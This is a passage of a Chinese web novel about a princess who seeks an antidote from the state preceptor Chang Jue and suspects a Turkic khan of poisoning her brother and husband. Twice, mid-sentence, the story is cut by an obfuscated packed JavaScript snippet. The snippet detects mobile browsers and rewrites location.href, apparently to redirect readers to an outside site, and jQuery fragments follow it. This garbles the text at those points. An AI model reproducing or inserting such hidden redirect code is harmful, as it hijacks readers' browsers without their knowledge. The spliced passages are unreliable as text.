长珏的目光飞快地扫过她的面颊,又立刻移开,没有再开口。 沈琼华深吸一口气,稍微平复了下情绪,问: “既然这样,这毒可有解?” “有解。” 长珏这次回答得极快,语气也稍有和缓: “要取一乌浒人,放血入药,乌浒人的体质本就与双命藤同类,唯有乌浒人的血才可作为药引,即使是这样,成功的可能性也不达三成,中毒之人最后也会留下不可转圜的弱症。” 待他说完,沈琼华的脸色已然极为难看,用人血为药引,光从这点上看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585224|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便能感觉到这毒药有多邪。 刺杀之人本就防不胜防,从中毒到毒发不过一瞬之间,又如何救才能将人救回来? 沈琼华不禁想,哪怕是当初他们早早就了解过这毒药,那长兄还会死吗? 只是,事情已经发生,再怎么后悔也是无用。 长珏的目光落在沈琼华身上,眼底漾开一层晦暗的光,他拿起帕子将吊坠上的水渍擦干,重新交还给她: “不知这毒药为何会被殿下拿到,莫非……” 他略一停顿,强绷着语气回归平淡:“莫非与驸马的骤然病逝有关?” 沈琼华掀起眼帘,眸中透着疏离与冷漠:“这又与国师何干?” 退一步讲,就算驸马真是遭人毒杀,又和长珏有什么关系,文慧太子的死他尚且不是很上心,哪里来的闲情逸致去理会一个异族人。 不过在这件事上,长珏确实有能帮得上忙的地方,她起身,从座位上站起,长珏的目光追随着她,身体也不自觉跟着动起来。 “这便走了?” “盼儿在午睡,醒来找不到我会哭。” 沈琼华瞥了他一眼,上下细细打量着他,似乎是在思考对方是否可信,只是想想前段时间他还帮过沈盼,她收起来部分戒心。 “长珏,我要你帮我办件事,我不管你用什么办法,帮我准备一份可以解这双命藤的药。” 长珏眸光微闪,问:“殿下要这个做什么?” 回答他的,是冰冷的眼神。 他不该多问,沈琼华不想多说,长珏就应该乖乖闭嘴。 “我知道了。” 以前的长珏只是个陪伴公主的小道士,对沈琼华言听计从无可厚非。 但现在,长珏已经继任国师,虽说国师没有实权,但作为大周的精神领袖,他同时辅佐着新帝,地位也不算低,为何还是要对沈琼华言听计从呢? 男人抿起唇,一双眼豪不僻讳地注视着沈琼华,乌黑的眼眸如一汪深潭,看不见底。 沈琼华看着异常顺从的长珏,心中升起一抹诧异,原以为他会恨她,但现在看来,又似乎是她想错了? 但为什么?沈琼华脾气不好,这是事实,她不会无理取闹,也没有公主的刁蛮气。 但是她也会有不满,也会有想要宣泄的时候,在以前,这个宣泄的对象自然就是长珏。 而现在,这个宣泄的对象还是长珏,倘若她是长珏,绝对第三天就忍不了了。 接着,她再次打量了一下长珏的神情,他低头看着她,抬眼的瞬间对上了一双映着淡光的幽深眼眸,仿佛深不见底。 沈琼华觉得奇怪,只是她是危机感下意识家地让她想要赶紧离开,于是她急匆匆地丢下一句: “多谢。”,抬脚便要走。 但当手都触上了大门上,沈琼华却是猛地一顿,转身望向依旧站在原地望着她的长珏,忽然问: “你知道双命藤长什么样吗?” 长珏眼眸微闪,一种愉悦的光芒自他的眼眸中一闪而过,好似觉得她问得非常好,唇角微勾。 “我知道。” 他的嗓音倏地柔软下来: “而且殿下也见过……郡主也见过。” 沈琼华神色一怔,惊得微微睁大眼睛: “你说什么?” “难道你不记得了吗?” 长珏抬脚,缓步朝着她身前逼近,每一步仿佛都踩在了她此刻紧绷的神经上,带有一丝不容拒绝的意味。 “我还送了一朵给小郡主。” …… “巴亚尔,你看!” 沈盼午觉醒后,听宫女说娘亲出来门,要晚一些才能回来,便和巴亚尔共同仰躺在地摊上,两个人忽视了彼此的年龄,在那里侃侃而谈。 少女转动眼眸,看着沈盼将一朵紫色的鲜花,将那小小的花茎插入自己的发辫内,天真无邪的眼眸绽放出明亮的色彩: “这个花好漂亮——!” 说着,她摸着花瓣,轻轻摘下一片凑到鼻尖细细嗅着: “闻起来好香,就像是点心一样。” 巴亚尔注视着她,目光落在那片被她试探着放在唇边的花瓣,看着女孩跃跃欲试的眼神,她心中生出一丝迟疑。 “不……” “可以尝尝吧,流玉姑姑也经常用花瓣做点心给我吃呢。” 话音落下,她将这片花瓣送入了口中。 10. 爱恨 “啪!” 沈琼华的手还悬在半空,长珏的脸便已经歪向一侧。 她慢慢地收回手,眼眸连同身体都在微微颤抖,掌心更是火辣辣的疼,指尖沾着一抹红。 那位不染纤尘、好似一块石头般冰冷的国师,如今竟被自己刮破了脸。 雪白的脸颊上渗出了几滴血珠,刺痛了沈琼华的眼。 她的喉咙发颤,语调被过于庞大的情绪碾碎,但并没有哭: “你……你要杀我的盼儿吗?” 长珏没有生气、没有还手、更没有表达出任何强烈的反应。 他只是缓慢地移回眼,垂眸看着她,乌黑的眼眸中藏着沈琼华看不透的情绪,抬手用雪白的宽袖擦去血珠: “那双命藤直接服下是无毒的,相反,还是去热消火的良药,于身体无害,只有极为特殊的制法,才可激发此物的毒性。” “这也是为什么此物名为‘双命藤’,所谓毒药,是毒是药,不过看是谁罢了。” 这个解释没有引起沈琼华的反应。 她注视着长珏的眼,仿佛陷入了某段相似的回忆,朱唇微启: “长珏,你恨我吗?” 长珏眼眸微闪,眼前的场景似乎正在与自己记忆中的某段重合起来,时间不同、场景不同、甚至连情绪都不同,但人依然是那个人。 记忆中的少女衣衫湿透,发丝黏在脸颊的一侧,眼泪和雨滴混着淌下脸颊,头上珠翠散乱,是少见的情绪失控。 她颤抖的声音与天边的闷雷一同响起: “长珏,你恨我吗?” “我……” 长珏几乎想逼着自己闭上眼,不愿去看那双眼中满满的悲伤与失望,可自己的冰冷的视线还是不可避免地刺痛了少女,给出了一个与他心中完全不同的答案。 他的喉咙干涩,眉心紧紧皱起,注视着面前的人转身,决绝地离去。 垂在身侧的手死死攥紧,心中有个声音不断在催促他:快追上去啊,追上去告诉她你真实的想法,去拉住她,让她不要走——“吱嘎。” 沈琼华开门的手一顿,她僵硬地下移视线,瞥见了那擒住自己手腕的大手。 男人就站在她身后,她都不用回头,便能感觉到长珏与她贴得极近,他的胸腔正在剧烈的起伏,气息不稳:“我不恨你。” 他的声音沙哑,藏着一丝碎裂的情绪:“从来没有过。” 眼前的幻影消散,她回头,诧异地迎上他的目光。 沈琼华先是一怔,旋即眸光一暗,别开脸避开长珏的视线。 她的情绪确实是过了些,意识到自己失态了。 说来也奇怪,她这么多年来的谨慎,在遇上长珏的一瞬间便土崩瓦解了。 莫非是因着很久以前沈琼华对他毫不掩饰自己的一切,现在也无法改回来吗。 沈琼华深吸一口气,想要将自己对着别人的那副伪装重新拾起。 于是她垂着眼,低声说: “抱歉。” 就算长珏以前和她十分亲近,但现在他毕竟已经不是她的人,沈琼华不能将自己的情绪波及到无辜的人身上,所以她也不愿替自己开脱: “我不知该如何对你赔礼,若有什么是国师想要的,派人来告诉我一声便可。” 疏离的称呼让长珏变了脸色,感受到对方有意和自己划开一个界线时,他蹙起眉,带着些许沈琼华看不懂的情绪。 沈琼华现在脑子一团乱,恨不得马上离开,丢下这句话便要离开。 但当她转过身意欲离去之时,一道声音却让她骤然停下。 “殿下为何害怕?” 假如说刚才长珏的回答打乱了沈琼华的思绪,那么现在这一句,更是直接将她的大脑放空了,双眼茫然地直视前方。 害怕?谁?我吗? 沈琼华害怕谁?难道是怕长珏?当然不是,她害怕的东西多了去了,但绝不可能是长珏。 只是这件事从头到尾都被她掩饰得极好,就算是流玉浮岚两个贴身服侍的宫女,都从未在她身上感受到“害怕”两个字,既然如此,长珏又是怎么看出来的? 她怔怔的看着长珏抬脚,重新走到窗边的座位旁,伸手示意。 “殿下不是来解梦的吗?让贫道给您些帮助吧。” “……” 冷透的茶水被长珏果断地泼掉,等沈琼华再回过神来时,她已然安坐在长珏的对面,静静地看着他重新斟茶。 经历了刚才那一遭,现在用浆糊来形容沈琼华的思绪都是客气的了,要是长珏不提,她或许已经离开了。 从某些方面来讲,就这样被看穿心思令她感到十分不悦。 但不可否认的是,沈琼华的情绪已经到达了一个危险的临界点,这次仅仅是和长珏谈论,她便不受控制地失了态。 再这样下去,她不知道自己还能忍受到什么时候,更不知道当她无法忍受下去时,自己会变成什么样子。 既然这样,那稍微和人聊聊也没什么的吧,况且她倾诉的对象是长珏,按照长珏的性子,她深信就算有人在他面前议论皇家的私事,他都会面不改色地喝下杯中的茶水。 这人十年如一日的冷漠,任何事都与他无关、任何人都无法让他失态,任何情绪都无法左右他的情绪,若不是这样,沈琼华也不会将他当做可倾诉的人,反正长珏知道的已经够多了,她现在也是有一些病急乱投医罢了。 长珏重新为她递去热茶,垂着眼,颇有一种温顺的姿态。 “殿下近日睡得可还好?” 沈琼华别开脸,答案不言而喻,长珏更是看清了她用来掩盖眼下乌青的妆粉。 他读懂了她的沉默,又改口:“从什么时候开始的?” 这一次的沉默短了些,沈琼华淡淡道:“从长兄去世后,原本好了些,出嫁后又恶化了,直到盼儿出生。” 她还是没有坦然地回答,沈盼出生后确实是好了很多,但是驸马去世,加上阿史那·咄曼成了突厥的新任可汗后,她就再也没好好放松过,哪怕是回了长安。 话音落下,长珏抿了抿唇,原本略微有些蹙紧的眉头更紧了几分。 “殿下这是心结。” 和长珏轻飘飘的话语全然相反的,是沈琼华逐渐收紧的拳头,她扯开唇角,眼中闪过一丝不悦: “国师都还未把脉,便知道我这是心结了?” 长珏不动,神色平静:“殿下反驳,就说明贫道说对了。” “你——” 沈琼华被戳破了心思,面上浮现一丝恼怒,差点忘了这个人和自己待了多久。 她眉头一皱长珏便知道她在生气,眼神一变长珏就知道她想干什么,什么都瞒不过。 偏偏长珏还是一副顺从的样子,让沈琼华每次有气都愧于朝着他发。 当然,她就算真朝着他发脾气了他也不会说什么,可这又不是什么值得自豪的事。 沈琼华抿了口茶水,长珏接着又问:“不知殿下何故忧虑,您如今已然回到长安,不必如此惴惴不安。” “回到长安便可高枕无忧了吗?”她冷声反问,与其说她是在反驳长珏,不如说她是在反驳自己: “当年长兄从未远离过长安,不还是身死,可有人能救他?” 在年少时,她确实将长安看作唯一的安全的地方,而在和亲后,这种感觉愈发加深。 只是如今,她走过了那么多地方,才知道这世界上没有什么地方是绝对安全的,不过是之前有人在保护她而已。 长珏无法反驳,但从沈琼华的话中,他敏锐地捕捉到了她心结的症结所在: “殿下可是担心,同样的毒杀会再次发生在长安?” 沈琼华抬起眼,对上一双了然的眼眸。 长珏放下手中的茶杯,语气冷冽地说: “殿下的担忧不无道理,当年文慧太子骤然死去,满朝文武皆是对此伤心不已,陛下更是伤心致病,江山不稳。” 沈琼华倚着椅子,身体虽是歪着的,眉眼间却一片肃然: “而后,突厥屡次侵扰我大周边疆,二皇兄领军出征,险胜,直到我出关和亲,大周才和平至今。” “可没人比我更清楚,突厥内部从未有人放下屠刀,前任可汗长子,阿史那·咄曼更是如此,想在我大周的土地上扎起他的大营,我夫君中毒死去,怎么想都是他获益。” “国师难道不觉得,这一切都太巧了吗?” 确实巧,但凡是个有脑子的,稍微想一想,一个早就销声匿迹的部族,为何只有这部族才有的奇毒会出现在大周太子的酒杯里,又为何在这之后人间蒸发,旋即在十年后出现在突厥王子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590769|205213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒杯里。 若是乌浒人做的,那一个小部族同时和大周以及突厥有仇的概率有多大? 长珏垂眼,望着清澈透底的茶杯底,看见了另一人倒映在杯中的身影: “怎么看,都是那突厥新首领暗中动了手脚,先是一杯毒酒,引得大周江山不稳,好挑起两国之间的战事。” “他当年或许以为自己可以借此立下赫赫战功,好在可汗面前露个大脸。” 想起那人阴险的摸样,沈琼华就忍不住一脸鄙夷,嘲讽道: “但他怎么都没算到,我和亲,就此止了两国争斗不休的局面。” 现在想想,这或许就是为什么沈琼华刚到突厥的那两年尤为煎熬的原因,她原以为是阿史那·阙特勤在突厥中不受重视,加上自己又是异国公主,或多或少都会被刁难。 没想到还会有阿史那·咄曼的手笔。 提起和亲一事,长珏眼眸沉了沉,将杯中的茶水一气饮了干净。 再放下杯子时神情再次恢复如初: “不过,突厥王子被毒杀,让原先在两人之间悬而不决的可汗之位有了定论,如此能在其中得益的,也就只有那位新首领了。” 两杯毒酒,一杯送走了沈琼华最为敬爱的长兄,一杯送走了她的夫君。 她每日为此忧心不已,只因倘若阿史那·咄曼贼心不死,谁都不知道下一杯毒酒会送到谁的口中。 “这便是殿下希望贫道调配解药的原因?” 理清其中缘由其实并不算难,沈琼华相信,那人下了这么多的狠手,绝不可能只满足待在他那蛮地高枕无忧。 她嗤笑,眼底闪过一丝嘲讽:“不然,我还能做什么呢?” 哭泣、哀求,像恶鬼一般发泄自己的愤怒她都做过了,甚至就连自暴自弃都有。 每一个无法安眠的夜晚,她都忍不住一遍又一遍去回忆沈秉钧的死状,随后唾弃自己的无能。 总是想着,要是万一、万一她当初就发觉到有什么不对,或者饮下那杯毒酒的不是他,而是自己,那是不是后面的一切都不会发生。 “后悔没有丝毫用处,就算我把命搭上,长兄都不可能回来了,所以无论如何,我都要保护我的家人。” 空气一时间凝固,两人都放缓了呼吸,唯有火炉上的水壶呜呜地冒着热气,气氛变得略显不自在。 沈琼华侧过头,望向窗外,目之所及尽是漫山遍野的勃勃春意,心情好了一些。 长珏顿了顿,嘴唇张了又张,却没能出声,好似是在斟酌。 “殿下是万金之躯,还请不要再和他人说这些话了。” 让别人听见沈琼华这番言语,指不定会被乱传成什么样,那群好事者什么都说得出来。 “这点自然,除了你,我应当也不会再对别人说这话了。” 说来,就连沈琼华自己都觉得荒谬,明明在今日之前,她还认为长珏一直恨着自己,只是这抹恨意在十年后被冲淡了些许。 可今日几番交谈,她才知自己终究是狭隘了些。 长珏向来都是这个性子,他不会对任何一个人、一件事倾注过多,他是修道之人,自然是顺其自然,远离俗世纷扰,不被八苦所困,想想还是让人羡慕。 只是这番话在长珏听来,倒是另一番意思。 他垂眸,敛去眼底转瞬而逝的一抹笑意,只当作什么都没发生。 就这么一会的功夫,沈琼华已经起身,一副要走的样子。 “要走了?” 长珏明知故问,目光追随着沈琼华的脚步到大门前,她回头,和来时的眼底藏都藏不住的戒备不同,她微微勾起唇角,露出一丝笑,这笑容极为礼貌、但也极为疏离。 “接下来的事,便要有劳国师了。” “作为交换,我不会再纠缠你,只是也希望国师,不要计较我当年幼稚的举措。” 长珏愣住了,连沈琼华离开都无力阻止。 他只感觉心中有一块,被人生生剜去,只留下一片无法填满的空洞,泛着丝丝寒意,周遭的一切瞬间都安静下来,什么都听不进去。 沈琼华的车驾回了宫。 刚进宫门,宫女扶着她走下马车,她人都还未站稳,便见一宫女直直朝着她走来,上前禀告道: “参见长公主殿下,殿下,太后娘娘有请。”